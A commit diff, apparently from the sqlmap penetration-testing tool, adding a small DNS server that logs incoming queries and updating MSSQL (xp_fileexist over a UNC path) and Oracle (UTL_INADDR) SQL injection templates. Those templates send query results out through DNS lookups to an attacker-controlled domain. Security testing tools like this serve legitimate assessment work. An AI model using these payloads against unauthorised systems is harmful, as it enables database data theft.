File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 77See the file 'doc/COPYING' for copying permission
88"""
99
10+ import socket
11+ import threading
12+
1013class DNSQuery :
1114 """
1215 Used for making fake DNS resolution responses based on received
@@ -42,3 +45,24 @@ def response(self, resolution):
4245 retval += "" .join (chr (int (_ )) for _ in resolution .split ('.' )) # 4 bytes of IP
4346
4447 return retval
48+
49+ class DNSServer :
50+ def __init__ (self ):
51+ self ._requests = []
52+
53+ def run (self ):
54+ def _ ():
55+ s = socket .socket (socket .AF_INET , socket .SOCK_DGRAM )
56+ s .bind (("" , 53 ))
57+
58+ try :
59+ while True :
60+ data , addr = s .recvfrom (1024 )
61+ _ = DNSQuery (data )
62+ s .sendto (_ .response ("127.0.0.1" ), addr )
63+ self ._requests .append (_ ._query )
64+ finally :
65+ s .close ()
66+
67+ thread = threading .Thread (target = _ )
68+ thread .start ()
Original file line number Diff line number Diff line change 11DECLARE @host varchar(1024);
2- SELECT @host = (%QUERY%) + '.%DOMAIN%';
2+ SELECT @host = '%PREFIX%' + (%QUERY%) + '%SUFFIX%' + '.%DOMAIN%';
33EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');
Original file line number Diff line number Diff line change 1- SELECT UTL_INADDR.GET_HOST_ADDRESS((%QUERY%)||% DOMAIN%) FROM DUAL
1+ SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%'|| (%QUERY%)||'%SUFFIX%'||'.% DOMAIN%' ) FROM DUAL
You can’t perform that action at this time.
0 commit comments